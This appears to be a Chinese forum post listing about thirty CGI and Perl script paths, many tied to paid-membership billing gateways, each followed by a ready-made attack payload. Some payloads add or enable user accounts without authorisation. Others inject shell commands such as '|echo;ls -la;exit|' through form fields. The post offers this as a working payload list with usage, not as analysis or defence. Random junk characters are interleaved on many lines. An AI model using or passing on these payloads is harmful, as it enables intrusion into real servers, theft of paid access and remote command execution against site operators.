Cgi-bin 30个漏洞＋使用方法

admin

==============================

: {. L% r2 t" K& T1 q' K! l' ^/smspass.pl
9 W, B( B! w4 t9 {/ i: v4 I; ~- gusername=username&password=password

# z0 I% S0 W" H0 `/index.cgi
6 @( k. K- o" S4 V- X2 n& Vwei=ren&gen=command
7 K' V8 R, Z0 P4 g& p
  h1 D; B8 \% [3 Y5 k1 T/passmaster.cgi
" b0 v7 T! r6 ?* XAction=Add&Username=Username&Password=Password

/accountcreate.cgi
7 d' N" d' D6 ~6 e+ k7 Yusername=username&password=password&ref1=|echo;ls|
/ O0 W  N) J8 V) h! N
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

% L3 @7 R5 t$ J1 y+ {6 ^/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
4 A: l$ V5 I' t, z5 J1 Z) Xuser=username&pass=Password&confirm=Password

/ccbill-local.asp
7 j5 O# R5 ~" S6 z+ o( I; V" wpost_values=username:password
) C( c6 E2 V+ Q3 ]9 g; z9 B: ^
1 G* x; }3 C2 U$ k" j) \% B3 S/count.cgi
: q( B) Q$ e* R! ]* F( s/ u* O/ Cpinfile=|echo;ls -la;exit|
  c6 n, {% e0 U( P, _
/recon.cgi
/recon.cgi?search
; f, m) U* g5 `/ i# H" b& [5 M! ssearchoption=1&searchfor=|echo;ls -al;exit|

6 q8 S% T+ c/ q/ l: f: Z/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
( K! U* V; F5 a. m* C( i( E' q
$ @: A8 i4 X, \/af.cgi
+ I8 O' Q5 i/ a1 k) o_browser_out=|echo;ls -la;exit;|

6 f& ?! E' O8 V& x* j/modify.cgi
% F' p1 t. A  R  y/ U5 j6 s& S- Musername=username&password=password&expire=30

. m$ U  [' g4 o) U0 |/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
0 e& A- o9 y" j5 Q2 E  O7 acmd=ADD&user=username&pass=password
+ I+ \$ i# a  K( F0 R$ a- q/ `
. k) j0 r3 K9 F; i& C. n/probecontrol.cgi
command=enable&username=username&password=password

0 d% E3 D9 W' r- p7 g1 P; I/recon.cgi
' G) J! w6 L& e  G0 Y  Q$ T9 }searchoption=3&searchfor=echo;ls -la;exit

/htadd.pl
configfile=|echo; ls -alt; exit

/gx9passwd.cgi
cmd=ADD&user=username&pass=password
$ O7 ?# M6 h4 p
! b3 s7 M( q0 U- {* x. i/ibill*.pl
$ r/ ~. z) I6 b$ O) Ereqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
6 X7 l2 W/ q* s& M3 Y- u: dcommand=add_member&username=username(EMAIL)&password=password(DES)
' R) M) d9 e, O7 V4 P0 \
3 v0 U2 g, f# \+ |/globill_ut.cgi
4 V7 L( A) }/ D; K% }do=add&username=username&password=password&wpassword=password

/usercontrol.cgi
command=enable&username=USER&password=PASS

: h( B9 p4 L# `( \+ g7 [/ ]  q/globoSALErum.cgi
5 D; Q6 y/ ]% q: caction=ADD&seccode=seccode&login=username&password=password

/addusr.pl
4 j8 M& \, m, Q4 H9 nuser=USER&pass=PASS&confirm=PASS
0 \# E# C; \* T3 a3 i* G
; u8 m. y* g& v/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
1 H1 G: h/ P- M5 o; b2 T
! I0 ^3 o) Z8 B8 W* J& y/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
/env.cgi
ADD+;echo;pwd;exit

& y' k; P, _5 t$ `3 y: w: W/count.cgi
2 ^5 T2 C4 A, Z4 y2 N+ i3 Ypinfile=|echo;pwd;exit|

2 u' R9 j- d0 F! C/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

; G& s; ^) E4 Y1 v/add.cgi
username=username&password=password&expire=30
. D, v( q, H# H8 _. @8 Z
==============================
8 u! k" `- P9 r" r7 L